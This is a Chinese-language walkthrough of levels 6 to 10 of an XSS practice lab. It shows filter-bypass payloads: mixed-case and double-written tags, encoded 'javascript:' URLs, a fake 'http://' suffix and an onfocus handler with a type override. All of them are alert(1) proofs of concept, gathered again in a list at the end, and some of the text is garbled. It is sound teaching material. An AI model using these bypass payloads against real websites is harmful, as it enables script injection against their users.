Level 6
尝试关卡5的绕过方式,发现对href
进行了替换
"> <a href="javascript:alert(1)">linka>
不能使用href
,也就是不能使用a
标签,尝试img
标签依然失败
<input name=keyword value=""> <img sr_c="javascript:alert(1)">">
"> <a hRef="javascript:alert(1)">linka>
Level 7
输入第六关的绕过代码,结果如下:
可见对href
以及script
量关键字进行了过滤,尝试双写绕过,成功执行
POC:
"> <a hrhrefef="javascscriptript:alert(1)">linka>
Level 8
界面如下:
输入了aaa提交,无任何反应,尝试点击友情链接,发现会将提交书记当作url访问
输入JavaScript:alert(1)
,结果对script
进行了过滤,将其转换为scr_ipt
尝试进行编码unicode编码:
javascript:alert(1)
javascript:alert(1)
Level 9
界面与关卡8相同,输入aaa,链接也米娜如下
查看源码,链接href为指定数据
尝试发现,在输入中必须包含http://
才视为合法链接
输入javascript:alert(1)http://
尝试,发现对script
进行了替换
对javascript
进行实体编码:
javascript
其实只需要对script
中的t
进行实体编码即可:javascript:alert(1)http://
成功提交
POC:
javascript:alert(1)//http://
Level 10
界面如下
给url中的keyword
赋值没有效果,查看源码,发现了三个隐藏的表单
在url中进行赋值提交,发现只有第三个表单起作用
尝试引号和尖括号是否被过滤,发现已经被过滤,因此只能利用表单事件:onfocus
由于表单被隐藏,所以无法聚焦,因此采用重定义type
,在原type前重定义type为空
此时表单三已经出现
聚焦表单内,成功执行
此时的表单代码如下:
POC:
" οnfοcus="javascrript:alert(1)" type="
"> <a hRef="javascript:alert(1)">linka>
"> <a hrhrefef="javascscriptript:alert(1)">linka>
javascript:alert(1)
javascript:alert(1)//http://
" οnfοcus="javascrript:alert(1)" type="